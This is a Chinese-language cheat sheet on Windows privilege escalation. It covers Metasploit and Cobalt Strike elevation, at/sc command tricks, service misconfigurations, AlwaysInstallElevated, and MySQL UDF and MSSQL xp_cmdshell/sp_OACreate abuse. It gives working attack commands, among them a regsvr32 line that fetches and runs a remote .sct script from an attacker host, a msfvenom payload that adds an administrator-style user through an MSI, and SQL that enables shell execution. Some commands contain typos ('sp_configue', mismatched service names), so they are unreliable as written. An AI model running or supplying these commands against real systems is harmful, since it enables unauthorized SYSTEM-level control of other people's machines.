Windows提权基础
工具提权
msf提权
- 首先生成payload
- 配置msf
- 提权
getsystem
因为uac,直接使用这个可能会失败
-
选择一个bypassuac
search bypassuac
windows/local/bypassuac_silentcleanup)
漏洞提权
-
补丁查询
-
windows-expliot-suggester
-
-
查看补丁
run post/windows/gather/enum_patches
cs提权
-
getsystem
-
bypassuac:Access->Elevate(提权模块)->选择内置的功能模块->设置监听->执行
- 漏洞提权
命令提权
一些命令是有system权限的
2003
- at命令:一个发布定时任务计划的命令行工具,默认以SYSTEM权限运行
命令行内执行:
at 10:30AM /interactive cmd
whoami //可看到是system权限
用at打开system权限的msf
msf:
use exploit/multi/script/web_delivery
完成设置并执行
给出一条语句
将其在cmd下用at执行.例如:
at 11:21AM /interactive regsvr32 /s /n /u /i:http://192.168.95.128:8080/5ThLnkA3C.sct scrobj.dll
执行失败,可以使用木马执行
执行后,msf会收到一个会话,system权限
at 10:30AM /interactive c:\3.exe
和前面一样
windows 7/8/08/12/16
- sc命令:用于与服务控制管理器和服务进行通信的命令行程序,提供功能类似“服务”
创建一个名叫system的新交互式的cmd服务
sc Create syscmd binPath="cmd /K start" type=own type=interact
然后执行
sc start systcmd
即得到一个system权限的cmd环境
配置提权
-
不带引号的服务路径
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例
-
查看错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
-
查看是否自启动:sc qc +服务
-
此外,msf中也有集成模块:exploit/windows/local/trusted_service_path
-
-
弱文件夹权限
- 第一步寻找运行任意用户修改的服务,并且权限是最高权限用户所执行的
- 得到所有用户都可以访问的结果后,生成一个exe将其改名为服务启动的exe替换
- 重启系统
-
弱服务提权
- msf模块:exploit/windows/local/service_permissions
-
注册表权限不足(实用较少)
-
AlwaysInstallElevated
-
一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用,需系统管理员手动启用
-
查询是否存在漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 或者 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-
若存在漏洞,则可使用msfvenom生成msi文件,进行提权
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
-
然后使用,即可
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
-
msf模块:exploit/windows/local/always_install_elevated
-
-
powerup
- powershell下面的一个子模块
- 导入模块:Import-Module .\PowerUp.psm1
- 执行所有的脚本来检查:Invoke-AllChecks
Mysql提权
-
mysql提权(3306)
-
要求
系统要求win7以下版本
数据库要求不能大于5.7
root权限
没有开启安全模式
-
通过udf
- mysql的拓展接口,用户的自定义函数。创建此函数需要调用一些东西,调用时会默认将此时的账号转换为system权限
- 系统要求:win7以下版本可使用
- 数据库版本小于5.7,具有root权限,没有开启安全模式
- 提权
-
SQLmap:sqlmap -d “mysql://root:root@ip:3306/mysql” --os-shell
-
用大马手动提权:dll
-
手动提权tips:
- mysql版本大于5.1:dll导出到MySQL下 lib\plugin目录
- 小于5.1:导出到 c:\windows\system32 (2003)
-
-
-
mssql提权(1433)
-
调用存储过程-sa权限(执行语句)
-
xp_cmdshell
开启 EXEC sp_configue 'show advanced options',1;RECONFIGURE; EXEC sp_configue 'xp_cmdshell',1;RECONFIGURE;
关闭 EXEC sp_configue 'show advanced options',1;RECONFIGURE; EXEC sp_configue 'xp_cmdshell',0;RECONFIGURE
执行:EXEC master..xp_cmdshell 'whoami';
-
sp_OACreate
- 可以删除、复制、移动文件,默认无回显
开启 EXEC sp_configue 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configue 'Ole Automation Procedures',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configue 'show advanced options',0; 利用并重定向到who.txt文件 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\who.txt' 利用方法2 declare @o int: exec sp_oacreate 'Shell.Application',@o out; exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >C:\test.txt','c:\windows\system32','','1';
-
-